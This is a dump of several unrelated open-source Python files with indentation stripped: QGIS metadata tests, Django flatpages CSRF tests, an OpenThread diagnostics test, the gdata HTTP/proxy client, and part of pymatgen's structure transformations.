address.type = 'postal'
address.address = '123 Main Street'
address.city = 'anycity'
address.administrativeArea = 'anyprovince'
address.postalCode = '90210'
address.country = 'Canada'
c.addresses = [address]
m.setContacts([c])
l = QgsAbstractMetadataBase.Link()
l.name = 'geonode:roads'
l.type = 'OGC:WMS'
l.description = 'my GeoNode road layer'
l.url = 'http://example.org/wms'
l2 = QgsAbstractMetadataBase.Link()
l2.name = 'geonode:roads'
l2.type = 'OGC:WFS'
l2.description = 'my GeoNode road layer'
l2.url = 'http://example.org/wfs'
l3 = QgsAbstractMetadataBase.Link()
l3.name = 'roads'
l3.type = 'WWW:LINK'
l3.description = 'full dataset download'
l3.url = 'http://example.org/roads.tgz'
l3.format = 'ESRI Shapefile'
l3.mimeType = 'application/gzip'
l3.size = '283676'
m.setLinks([l, l2, l3])
m.setAuthor('my author')
m.setCreationDateTime(QDateTime(QDate(2001, 12, 17), QTime(9, 30, 47)))
return m
def testEquality(self):
md = self.createTestMetadata()
md2 = self.createTestMetadata()
self.assertEqual(md, md2)
md2.setAuthor('xx')
self.assertNotEqual(md, md2)
md2 = self.createTestMetadata()
md2.setCreationDateTime(QDateTime(QDate(2003, 12, 17), QTime(9, 30, 47)))
self.assertNotEqual(md, md2)
def checkExpectedMetadata(self, m):
"""
Checks that a metadata object matches that returned by createTestMetadata
"""
self.assertEqual(m.identifier(), '1234')
self.assertEqual(m.parentIdentifier(), 'xyz')
self.assertEqual(m.language(), 'en-CA')
self.assertEqual(m.type(), 'project')
self.assertEqual(m.title(), 'roads')
self.assertEqual(m.abstract(), 'my roads')
self.assertEqual(m.history(), ['history a', 'history b'])
self.assertEqual(
m.keywords(),
{'GEMET': ['kw1', 'kw2'], 'gmd:topicCategory': ['natural']})
self.assertEqual(m.contacts()[0].name, 'John Smith')
self.assertEqual(m.contacts()[0].organization, 'ACME')
self.assertEqual(m.contacts()[0].position, 'staff')
self.assertEqual(m.contacts()[0].voice, '1500 515 555')
self.assertEqual(m.contacts()[0].fax, 'xx.xxx.xxx.xxxx')
self.assertEqual(m.contacts()[0].email, 'foo@example.org')
self.assertEqual(m.contacts()[0].role, 'pointOfContact')
self.assertEqual(m.contacts()[0].addresses[0].type, 'postal')
self.assertEqual(m.contacts()[0].addresses[0].address, '123 Main Street')
self.assertEqual(m.contacts()[0].addresses[0].city, 'anycity')
self.assertEqual(m.contacts()[0].addresses[0].administrativeArea, 'anyprovince')
self.assertEqual(m.contacts()[0].addresses[0].postalCode, '90210')
self.assertEqual(m.contacts()[0].addresses[0].country, 'Canada')
self.assertEqual(m.links()[0].name, 'geonode:roads')
self.assertEqual(m.links()[0].type, 'OGC:WMS')
self.assertEqual(m.links()[0].description, 'my GeoNode road layer')
self.assertEqual(m.links()[0].url, 'http://example.org/wms')
self.assertEqual(m.links()[1].name, 'geonode:roads')
self.assertEqual(m.links()[1].type, 'OGC:WFS')
self.assertEqual(m.links()[1].description, 'my GeoNode road layer')
self.assertEqual(m.links()[1].url, 'http://example.org/wfs')
self.assertEqual(m.links()[2].name, 'roads')
self.assertEqual(m.links()[2].type, 'WWW:LINK')
self.assertEqual(m.links()[2].description, 'full dataset download')
self.assertEqual(m.links()[2].url, 'http://example.org/roads.tgz')
self.assertEqual(m.links()[2].format, 'ESRI Shapefile')
self.assertEqual(m.links()[2].mimeType, 'application/gzip')
self.assertEqual(m.links()[2].size, '283676')
self.assertEqual(m.author(), 'my author')
self.assertEqual(m.creationDateTime(), QDateTime(QDate(2001, 12, 17), QTime(9, 30, 47)))
def testStandard(self):
m = self.createTestMetadata()
self.checkExpectedMetadata(m)
def testSaveReadFromXml(self):
"""
Test saving and reading metadata from a XML.
"""
# save metadata to XML
m = self.createTestMetadata()
doc = QDomDocument("testdoc")
elem = doc.createElement("metadata")
self.assertTrue(m.writeMetadataXml(elem, doc))
# read back from XML and check result
m2 = QgsProjectMetadata()
m2.readMetadataXml(elem)
self.checkExpectedMetadata(m2)
def testValidateNative(self): # spellok
"""
Test validating metadata against QGIS native schema
"""
m = self.createTestMetadata()
v = QgsNativeProjectMetadataValidator()
res, list = v.validate(m)
self.assertTrue(res)
self.assertFalse(list)
# corrupt metadata piece by piece...
m = self.createTestMetadata()
m.setIdentifier('')
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'identifier')
m = self.createTestMetadata()
m.setLanguage('')
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'language')
m = self.createTestMetadata()
m.setType('')
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'type')
m = self.createTestMetadata()
m.setTitle('')
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'title')
m = self.createTestMetadata()
m.setAbstract('')
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'abstract')
m = self.createTestMetadata()
m.setContacts([])
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'contacts')
m = self.createTestMetadata()
m.setLinks([])
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'links')
m = self.createTestMetadata()
m.setKeywords({'': ['kw1', 'kw2']})
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'keywords')
self.assertEqual(list[0].identifier, 0)
m = self.createTestMetadata()
m.setKeywords({'AA': []})
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'keywords')
self.assertEqual(list[0].identifier, 0)
m = self.createTestMetadata()
c = m.contacts()[0]
c.name = ''
m.setContacts([c])
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'contacts')
self.assertEqual(list[0].identifier, 0)
m = self.createTestMetadata()
l = m.links()[0]
l.name = ''
m.setLinks([l])
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'links')
self.assertEqual(list[0].identifier, 0)
m = self.createTestMetadata()
l = m.links()[0]
l.type = ''
m.setLinks([l])
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'links')
self.assertEqual(list[0].identifier, 0)
m = self.createTestMetadata()
l = m.links()[0]
l.url = ''
m.setLinks([l])
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'links')
self.assertEqual(list[0].identifier, 0)
m = self.createTestMetadata()
m.setAuthor('')
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'author')
m = self.createTestMetadata()
m.setCreationDateTime(QDateTime())
res, list = v.validate(m)
self.assertFalse(res)
self.assertEqual(list[0].section, 'creation')
def testProject(self):
p = QgsProject()
m = self.createTestMetadata()
metadata_changed_spy = QSignalSpy(p.metadataChanged)
p.setMetadata(m)
self.assertEqual(len(metadata_changed_spy), 1)
self.checkExpectedMetadata(p.metadata())
p.clear()
self.assertEqual(len(metadata_changed_spy), 2)
self.assertEqual(p.metadata().title(), '')
# test that the project title is just a shortcut to the metadata title field
p.setTitle('my title')
self.assertEqual(p.metadata().title(), 'my title')
m.setTitle('my title 2')
p.setMetadata(m)
self.assertEqual(p.title(), 'my title 2')
if __name__ == '__main__':
unittest.main()
| gpl-2.0 |
simone/django-gb | django/contrib/flatpages/tests/test_csrf.py | 56 | 3486 | import os
from django.contrib.auth.models import User
from django.contrib.auth.tests.utils import skipIfCustomUser
from django.test import TestCase, Client
from django.test import override_settings
@override_settings(
LOGIN_URL='/accounts/login/',
MIDDLEWARE_CLASSES=(
'django.middleware.common.CommonMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',
),
CSRF_FAILURE_VIEW='django.views.csrf.csrf_failure',
TEMPLATE_DIRS=(
os.path.join(os.path.dirname(__file__), 'templates'),
),
SITE_ID=1,
)
class FlatpageCSRFTests(TestCase):
fixtures = ['sample_flatpages', 'example_site']
urls = 'django.contrib.flatpages.tests.urls'
def setUp(self):
self.client = Client(enforce_csrf_checks=True)
def test_view_flatpage(self):
"A flatpage can be served through a view, even when the middleware is in use"
response = self.client.get('/flatpage_root/flatpage/')
self.assertEqual(response.status_code, 200)
self.assertContains(response, "<p>Isn't it flat!</p>")
def test_view_non_existent_flatpage(self):
"A non-existent flatpage raises 404 when served through a view, even when the middleware is in use"
response = self.client.get('/flatpage_root/no_such_flatpage/')
self.assertEqual(response.status_code, 404)
@skipIfCustomUser
def test_view_authenticated_flatpage(self):
"A flatpage served through a view can require authentication"
response = self.client.get('/flatpage_root/sekrit/')
self.assertRedirects(response, '/accounts/login/?next=/flatpage_root/sekrit/')
User.objects.create_user('testuser', 'test@example.com', 's3krit')
self.client.login(username='testuser', password='s3krit')
response = self.client.get('/flatpage_root/sekrit/')
self.assertEqual(response.status_code, 200)
self.assertContains(response, "<p>Isn't it sekrit!</p>")
def test_fallback_flatpage(self):
"A flatpage can be served by the fallback middleware"
response = self.client.get('/flatpage/')
self.assertEqual(response.status_code, 200)
self.assertContains(response, "<p>Isn't it flat!</p>")
def test_fallback_non_existent_flatpage(self):
"A non-existent flatpage raises a 404 when served by the fallback middleware"
response = self.client.get('/no_such_flatpage/')
self.assertEqual(response.status_code, 404)
def test_post_view_flatpage(self):
"POSTing to a flatpage served through a view will raise a CSRF error if no token is provided (Refs #14156)"
response = self.client.post('/flatpage_root/flatpage/')
self.assertEqual(response.status_code, 403)
def test_post_fallback_flatpage(self):
"POSTing to a flatpage served by the middleware will raise a CSRF error if no token is provided (Refs #14156)"
response = self.client.post('/flatpage/')
self.assertEqual(response.status_code, 403)
def test_post_unknown_page(self):
"POSTing to an unknown page isn't caught as a 403 CSRF error"
response = self.client.post('/no_such_page/')
self.assertEqual(response.status_code, 404)
| bsd-3-clause |
lanyuwen/openthread | tests/scripts/thread-cert/test_diag.py | 2 | 4155 | #!/usr/bin/env python3
#
# Copyright (c) 2018, The OpenThread Authors.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. Neither the name of the copyright holder nor the
# names of its contributors may be used to endorse or promote products
# derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
import time
import unittest
import thread_cert
class TestDiag(thread_cert.TestCase):
SUPPORT_NCP = False
TOPOLOGY = {1: None}
def test(self):
node = self.nodes[1]
cases = [
('diag\n', 'diagnostics mode is disabled\r\n'),
('diag send 10 100\n', 'Error 13: InvalidState\r\n'),
('diag start\n', 'Done\r\n'),
('diag invalid test\n',
'diag feature \'invalid\' is not supported'),
('diag', 'diagnostics mode is enabled\r\n'),
('diag channel 10\n', 'failed\r\nstatus 0x7\r\n'),
('diag channel 11\n', 'set channel to 11\r\nstatus 0x00\r\n'),
('diag channel\n', 'channel: 11\r\n'),
('diag power -10\n', 'set tx power to -10 dBm\r\nstatus 0x00\r\n'),
('diag power\n', 'tx power: -10 dBm\r\n'),
(
'diag stats\n',
'received packets: 0\r\nsent packets: 0\r\n'
'first received packet: rssi=0, lqi=0\r\n'
'last received packet: rssi=0, lqi=0\r\n',
),
(
'diag send 20 100\n',
r'sending 0x14 packet\(s\), length 0x64\r\nstatus 0x00\r\n',
),
(
' diag \t send \t 20\t100',
r'sending 0x14 packet\(s\), length 0x64\r\nstatus 0x00\r\n',
),
(
'diag repeat 100 100\n',
'sending packets of length 0x64 at the delay of 0x64 ms\r\nstatus 0x00\r\n',
),
(
'diag repeat stop\n',
'repeated packet transmission is stopped\r\nstatus 0x00\r\n',
),
(
'diag stop\n',
r'received packets: 0\r\nsent packets: ([1-9]\d*)\r\n'
'first received packet: rssi=0, lqi=0\r\n'
'last received packet: rssi=0, lqi=0\r\n\n'
r'stop diagnostics mode\r\nstatus 0x00\r\n',
),
('diag', 'diagnostics mode is disabled\r\n'),
(
'diag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32',
r'Error: too many args \(max 32\)\r\n',
),
]
for case in cases:
node.send_command(case[0])
self.simulator.go(1)
if type(self.simulator).__name__ == 'VirtualTime':
time.sleep(0.1)
node._expect(case[1])
if __name__ == '__main__':
unittest.main()
| bsd-3-clause |
fighterlyt/bite-project | deps/gdata-python-client/src/atom/http.py | 56 | 12799 | #!/usr/bin/python
#
# Copyright (C) 2008 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""HttpClients in this module use httplib to make HTTP requests.
This module make HTTP requests based on httplib, but there are environments
in which an httplib based approach will not work (if running in Google App
Engine for example). In those cases, higher level classes (like AtomService
and GDataService) can swap out the HttpClient to transparently use a
different mechanism for making HTTP requests.
HttpClient: Contains a request method which performs an HTTP call to the
server.
ProxiedHttpClient: Contains a request method which connects to a proxy using
settings stored in operating system environment variables then
performs an HTTP call to the endpoint server.
"""
__author__ = 'api.jscudder (Jeff Scudder)'
import types
import os
import httplib
import atom.url
import atom.http_interface
import socket
import base64
import atom.http_core
ssl_imported = False
ssl = None
try:
import ssl
ssl_imported = True
except ImportError:
pass
class ProxyError(atom.http_interface.Error):
pass
class TestConfigurationError(Exception):
pass
DEFAULT_CONTENT_TYPE = 'application/atom+xml'
class HttpClient(atom.http_interface.GenericHttpClient):
# Added to allow old v1 HttpClient objects to use the new
# http_code.HttpClient. Used in unit tests to inject a mock client.
v2_http_client = None
def __init__(self, headers=None):
self.debug = False
self.headers = headers or {}
def request(self, operation, url, data=None, headers=None):
"""Performs an HTTP call to the server, supports GET, POST, PUT, and
DELETE.
Usage example, perform and HTTP GET on http://www.google.com/:
import atom.http
client = atom.http.HttpClient()
http_response = client.request('GET', 'http://www.google.com/')
Args:
operation: str The HTTP operation to be performed. This is usually one
of 'GET', 'POST', 'PUT', or 'DELETE'
data: filestream, list of parts, or other object which can be converted
to a string. Should be set to None when performing a GET or DELETE.
If data is a file-like object which can be read, this method will
read a chunk of 100K bytes at a time and send them.
If the data is a list of parts to be sent, each part will be
evaluated and sent.
url: The full URL to which the request should be sent. Can be a string
or atom.url.Url.
headers: dict of strings. HTTP headers which should be sent
in the request.
"""
all_headers = self.headers.copy()
if headers:
all_headers.update(headers)
# If the list of headers does not include a Content-Length, attempt to
# calculate it based on the data object.
if data and 'Content-Length' not in all_headers:
if isinstance(data, types.StringTypes):
all_headers['Content-Length'] = str(len(data))
else:
raise atom.http_interface.ContentLengthRequired('Unable to calculate '
'the length of the data parameter. Specify a value for '
'Content-Length')
# Set the content type to the default value if none was set.
if 'Content-Type' not in all_headers:
all_headers['Content-Type'] = DEFAULT_CONTENT_TYPE
if self.v2_http_client is not None:
http_request = atom.http_core.HttpRequest(method=operation)
atom.http_core.Uri.parse_uri(str(url)).modify_request(http_request)
http_request.headers = all_headers
if data:
http_request._body_parts.append(data)
return self.v2_http_client.request(http_request=http_request)
if not isinstance(url, atom.url.Url):
if isinstance(url, types.StringTypes):
url = atom.url.parse_url(url)
else:
raise atom.http_interface.UnparsableUrlObject('Unable to parse url '
'parameter because it was not a string or atom.url.Url')
connection = self._prepare_connection(url, all_headers)
if self.debug:
connection.debuglevel = 1
connection.putrequest(operation, self._get_access_url(url),
skip_host=True)
if url.port is not None:
connection.putheader('Host', '%s:%s' % (url.host, url.port))
else:
connection.putheader('Host', url.host)
# Overcome a bug in Python 2.4 and 2.5
# httplib.HTTPConnection.putrequest adding
# HTTP request header 'Host: www.google.com:443' instead of
# 'Host: www.google.com', and thus resulting the error message
# 'Token invalid - AuthSub token has wrong scope' in the HTTP response.
if (url.protocol == 'https' and int(url.port or 443) == 443 and
hasattr(connection, '_buffer') and
isinstance(connection._buffer, list)):
header_line = 'Host: %s:443' % url.host
replacement_header_line = 'Host: %s' % url.host
try:
connection._buffer[connection._buffer.index(header_line)] = (
replacement_header_line)
except ValueError: # header_line missing from connection._buffer
pass
# Send the HTTP headers.
for header_name in all_headers:
connection.putheader(header_name, all_headers[header_name])
connection.endheaders()
# If there is data, send it in the request.
if data:
if isinstance(data, list):
for data_part in data:
_send_data_part(data_part, connection)
else:
_send_data_part(data, connection)
# Return the HTTP Response from the server.
return connection.getresponse()
def _prepare_connection(self, url, headers):
if not isinstance(url, atom.url.Url):
if isinstance(url, types.StringTypes):
url = atom.url.parse_url(url)
else:
raise atom.http_interface.UnparsableUrlObject('Unable to parse url '
'parameter because it was not a string or atom.url.Url')
if url.protocol == 'https':
if not url.port:
return httplib.HTTPSConnection(url.host)
return httplib.HTTPSConnection(url.host, int(url.port))
else:
if not url.port:
return httplib.HTTPConnection(url.host)
return httplib.HTTPConnection(url.host, int(url.port))
def _get_access_url(self, url):
return url.to_string()
class ProxiedHttpClient(HttpClient):
"""Performs an HTTP request through a proxy.
The proxy settings are obtained from enviroment variables. The URL of the
proxy server is assumed to be stored in the environment variables
'https_proxy' and 'http_proxy' respectively. If the proxy server requires
a Basic Auth authorization header, the username and password are expected to
be in the 'proxy-username' or 'proxy_username' variable and the
'proxy-password' or 'proxy_password' variable, or in 'http_proxy' or
'https_proxy' as "protocol://[username:password@]host:port".
After connecting to the proxy server, the request is completed as in
HttpClient.request.
"""
def _prepare_connection(self, url, headers):
proxy_settings = os.environ.get('%s_proxy' % url.protocol)
if not proxy_settings:
# The request was HTTP or HTTPS, but there was no appropriate proxy set.
return HttpClient._prepare_connection(self, url, headers)
else:
proxy_auth = _get_proxy_auth(proxy_settings)
proxy_netloc = _get_proxy_net_location(proxy_settings)
if url.protocol == 'https':
# Set any proxy auth headers
if proxy_auth:
proxy_auth = 'Proxy-authorization: %s' % proxy_auth
# Construct the proxy connect command.
port = url.port
if not port:
port = '443'
proxy_connect = 'CONNECT %s:%s HTTP/1.0\r\n' % (url.host, port)
# Set the user agent to send to the proxy
if headers and 'User-Agent' in headers:
user_agent = 'User-Agent: %s\r\n' % (headers['User-Agent'])
else:
user_agent = 'User-Agent: python\r\n'
proxy_pieces = '%s%s%s\r\n' % (proxy_connect, proxy_auth, user_agent)
# Find the proxy host and port.
proxy_url = atom.url.parse_url(proxy_netloc)
if not proxy_url.port:
proxy_url.port = '80'
# Connect to the proxy server, very simple recv and error checking
p_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
p_sock.connect((proxy_url.host, int(proxy_url.port)))
p_sock.sendall(proxy_pieces)
response = ''
# Wait for the full response.
while response.find("\r\n\r\n") == -1:
response += p_sock.recv(8192)
p_status = response.split()[1]
if p_status != str(200):
raise ProxyError('Error status=%s' % str(p_status))
# Trivial setup for ssl socket.
sslobj = None
if ssl_imported:
sslobj = ssl.wrap_socket(p_sock, None, None)
else:
sock_ssl = socket.ssl(p_sock, None, None)
sslobj = httplib.FakeSocket(p_sock, sock_ssl)
# Initalize httplib and replace with the proxy socket.
connection = httplib.HTTPConnection(proxy_url.host)
connection.sock = sslobj
return connection
else:
# If protocol was not https.
# Find the proxy host and port.
proxy_url = atom.url.parse_url(proxy_netloc)
if not proxy_url.port:
proxy_url.port = '80'
if proxy_auth:
headers['Proxy-Authorization'] = proxy_auth.strip()
return httplib.HTTPConnection(proxy_url.host, int(proxy_url.port))
def _get_access_url(self, url):
return url.to_string()
def _get_proxy_auth(proxy_settings):
"""Returns proxy authentication string for header.
Will check environment variables for proxy authentication info, starting with
proxy(_/-)username and proxy(_/-)password before checking the given
proxy_settings for a [protocol://]username:password@host[:port] string.
Args:
proxy_settings: String from http_proxy or https_proxy environment variable.
Returns:
Authentication string for proxy, or empty string if no proxy username was
found.
"""
proxy_username = None
proxy_password = None
proxy_username = os.environ.get('proxy-username')
if not proxy_username:
proxy_username = os.environ.get('proxy_username')
proxy_password = os.environ.get('proxy-password')
if not proxy_password:
proxy_password = os.environ.get('proxy_password')
if not proxy_username:
if '@' in proxy_settings:
protocol_and_proxy_auth = proxy_settings.split('@')[0].split(':')
if len(protocol_and_proxy_auth) == 3:
# 3 elements means we have [<protocol>, //<user>, <password>]
proxy_username = protocol_and_proxy_auth[1].lstrip('/')
proxy_password = protocol_and_proxy_auth[2]
elif len(protocol_and_proxy_auth) == 2:
# 2 elements means we have [<user>, <password>]
proxy_username = protocol_and_proxy_auth[0]
proxy_password = protocol_and_proxy_auth[1]
if proxy_username:
user_auth = base64.encodestring('%s:%s' % (proxy_username,
proxy_password))
return 'Basic %s\r\n' % (user_auth.strip())
else:
return ''
def _get_proxy_net_location(proxy_settings):
"""Returns proxy host and port.
Args:
proxy_settings: String from http_proxy or https_proxy environment variable.
Must be in the form of protocol://[username:password@]host:port
Returns:
String in the form of protocol://host:port
"""
if '@' in proxy_settings:
protocol = proxy_settings.split(':')[0]
netloc = proxy_settings.split('@')[1]
return '%s://%s' % (protocol, netloc)
else:
return proxy_settings
def _send_data_part(data, connection):
if isinstance(data, types.StringTypes):
connection.send(data)
return
# Check to see if data is a file-like object that has a read method.
elif hasattr(data, 'read'):
# Read the file and send it a chunk at a time.
while 1:
binarydata = data.read(100000)
if binarydata == '': break
connection.send(binarydata)
return
else:
# The data object was not a file.
# Try to convert to a string and send the data.
connection.send(str(data))
return
| apache-2.0 |
matk86/pymatgen | pymatgen/transformations/standard_transformations.py | 5 | 23008 | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import division, unicode_literals
import logging
from pymatgen.analysis.bond_valence import BVAnalyzer
from pymatgen.analysis.ewald import EwaldSummation, EwaldMinimizer
from pymatgen.analysis.elasticity.strain import Deformation
from pymatgen.core.composition import Composition
from pymatgen.core.operations import SymmOp
from pymatgen.core.periodic_table import get_el_sp
from pymatgen.core.structure import Structure
from pymatgen.transformations.site_transformations import \
PartialRemoveSitesTransformation
from pymatgen.transformations.transformation_abc import AbstractTransformation
"""
This module defines standard transformations which transforms a structure into
another structure. Standard transformations operate in a structure-wide manner,
rather than site-specific manner.
All transformations should inherit the AbstractTransformation ABC.
"""
__author__ = "Shyue Ping Ong, Will Richards"
__copyright__ = "Copyright 2011, The Materials Project"
__version__ = "1.2"
__maintainer__ = "Shyue Ping Ong"
__email__ = "shyuep@gmail.com"
__date__ = "Sep 23, 2011"
logger = logging.getLogger(__name__)
class RotationTransformation(AbstractTransformation):
"""
The RotationTransformation applies a rotation to a structure.
Args:
axis (3x1 array): Axis of rotation, e.g., [1, 0, 0]
angle (float): Angle to rotate
angle_in_radians (bool): Set to True if angle is supplied in radians.
Else degrees are assumed.
"""
def __init__(self, axis, angle, angle_in_radians=False):
"""
"""
self.axis = axis
self.angle = angle
self.angle_in_radians = angle_in_radians
self._symmop = SymmOp.from_axis_angle_and_translation(
self.axis, self.angle, self.angle_in_radians)
def apply_transformation(self, structure):
s = structure.copy()
s.apply_operation(self._symmop)
return s
def __str__(self):
return "Rotation Transformation about axis " + \
"{} with angle = {:.4f} {}".format(
self.axis, self.angle,
"radians" if self.angle_in_radians else "degrees")
def __repr__(self):
return self.__str__()
@property
def inverse(self):
return RotationTransformation(self.axis, -self.angle,
self.angle_in_radians)
@property
def is_one_to_many(self):
return False
class OxidationStateDecorationTransformation(AbstractTransformation):
"""
This transformation decorates a structure with oxidation states.
Args:
oxidation_states (dict): Oxidation states supplied as a dict,
e.g., {"Li":1, "O":-2}
"""
def __init__(self, oxidation_states):
self.oxidation_states = oxidation_states
def apply_transformation(self, structure):
s = structure.copy()
s.add_oxidation_state_by_element(self.oxidation_states)
return s
@property
def inverse(self):
return None
@property
def is_one_to_many(self):
return False
class AutoOxiStateDecorationTransformation(AbstractTransformation):
"""
This transformation automatically decorates a structure with oxidation
states using a bond valence approach.
Args:
symm_tol (float): Symmetry tolerance used to determine which sites are
symmetrically equivalent. Set to 0 to turn off symmetry.
max_radius (float): Maximum radius in Angstrom used to find nearest
neighbors.
max_permutations (int): Maximum number of permutations of oxidation
states to test.
distance_scale_factor (float): A scale factor to be applied. This is
useful for scaling distances, esp in the case of
calculation-relaxed structures, which may tend to under (GGA) or
over bind (LDA). The default of 1.015 works for GGA. For
experimental structure, set this to 1.
"""
def __init__(self, symm_tol=0.1, max_radius=4, max_permutations=100000,
distance_scale_factor=1.015):
self.symm_tol = symm_tol
self.max_radius = max_radius
self.max_permutations = max_permutations
self.distance_scale_factor = distance_scale_factor
self.analyzer = BVAnalyzer(symm_tol, max_radius, max_permutations,
distance_scale_factor)
def apply_transformation(self, structure):
return self.analyzer.get_oxi_state_decorated_structure(structure)
@property
def inverse(self):
return None
@property
def is_one_to_many(self):
return False
class OxidationStateRemovalTransformation(AbstractTransformation):
"""
This transformation removes oxidation states from a structure.
"""
def __init__(self):
pass
def apply_transformation(self, structure):
s = structure.copy()
s.remove_oxidation_states()
return s
@property
def inverse(self):
return None
@property
def is_one_to_many(self):
return False
class SupercellTransformation(AbstractTransformation):
"""
The RotationTransformation applies a rotation to a structure.
Args:
scaling_matrix: A matrix of transforming the lattice vectors.
Defaults to the identity matrix. Has to be all integers. e.g.,
[[2,1,0],[0,3,0],[0,0,1]] generates a new structure with
lattice vectors a" = 2a + b, b" = 3b, c" = c where a, b, and c
are the lattice vectors of the original structure.
"""
def __init__(self, scaling_matrix=((1, 0, 0), (0, 1, 0), (0, 0, 1))):
self.scaling_matrix = scaling_matrix
@staticmethod
def from_scaling_factors(scale_a=1, scale_b=1, scale_c=1):
"""
Convenience method to get a SupercellTransformation from a simple
series of three numbers for scaling each lattice vector. Equivalent to
calling the normal with [[scale_a, 0, 0], [0, scale_b, 0],
[0, 0, scale_c]]
Args:
scale_a: Scaling factor for lattice direction a. Defaults to 1.
scale_b: Scaling factor for lattice direction b. Defaults to 1.
scale_c: Scaling factor for lattice direction c. Defaults to 1.
Returns:
SupercellTransformation.
"""
return SupercellTransformation([[scale_a, 0, 0], [0, scale_b, 0],
[0, 0, scale_c]])
def apply_transformation(self, structure):
return structure * self.scaling_matrix
def __str__(self):
return "Supercell Transformation with scaling matrix " + \
"{}".format(self.scaling_matrix)
def __repr__(self):
return self.__str__()
@property
def inverse(self):
raise NotImplementedError()
@property
def is_one_to_many(self):
return False
class SubstitutionTransformation(AbstractTransformation):
"""
This transformation substitutes species for one another.
Args:
species_map: A dict or list of tuples containing the species mapping in
string-string pairs. E.g., {"Li":"Na"} or [("Fe2+","Mn2+")].
Multiple substitutions can be done. Overloaded to accept
sp_and_occu dictionary E.g. {"Si: {"Ge":0.75, "C":0.25}},
which substitutes a single species with multiple species to
generate a disordered structure.
"""
def __init__(self, species_map):
self.species_map = species_map
self._species_map = dict(species_map)
for k, v in self._species_map.items():
if isinstance(v, (tuple, list)):
self._species_map[k] = dict(v)
def apply_transformation(self, structure):
species_map = {}
for k, v in self._species_map.items():
if isinstance(v, dict):
value = {get_el_sp(x): y for x, y in v.items()}
else:
value = get_el_sp(v)
species_map[get_el_sp(k)] = value
s = structure.copy()
s.replace_species(species_map)
return s
def __str__(self):
return "Substitution Transformation :" + \
", ".join([str(k) + "->" + str(v)
for k, v in self._species_map.items()])
def __repr__(self):
return self.__str__()
@property
def inverse(self):
inverse_map = {v: k for k, v in self._species_map.items()}
return SubstitutionTransformation(inverse_map)
@property
def is_one_to_many(self):
return False
class RemoveSpeciesTransformation(AbstractTransformation):
"""
Remove all occurrences of some species from a structure.
Args:
species_to_remove: List of species to remove. E.g., ["Li", "Mn"]
"""
def __init__(self, species_to_remove):
self.species_to_remove = species_to_remove
def apply_transformation(self, structure):
s = structure.copy()
for sp in self.species_to_remove:
s.remove_species([get_el_sp(sp)])
return s
def __str__(self):
return "Remove Species Transformation :" + \
", ".join(self.species_to_remove)
def __repr__(self):
return self.__str__()
@property
def inverse(self):
return None
@property
def is_one_to_many(self):
return False
class PartialRemoveSpecieTransformation(AbstractTransformation):
"""
Remove fraction of specie from a structure.
Requires an oxidation state decorated structure for ewald sum to be
computed.
Given that the solution to selecting the right removals is NP-hard, there
are several algorithms provided with varying degrees of accuracy and speed.
Please see
:class:`pymatgen.transformations.site_transformations.PartialRemoveSitesTransformation`.
Args:
specie_to_remove: Specie to remove. Must have oxidation state E.g.,
"Li+"
fraction_to_remove: Fraction of specie to remove. E.g., 0.5
algo: This parameter allows you to choose the algorithm to perform
ordering. Use one of PartialRemoveSpecieTransformation.ALGO_*
variables to set the algo.
"""
ALGO_FAST = 0
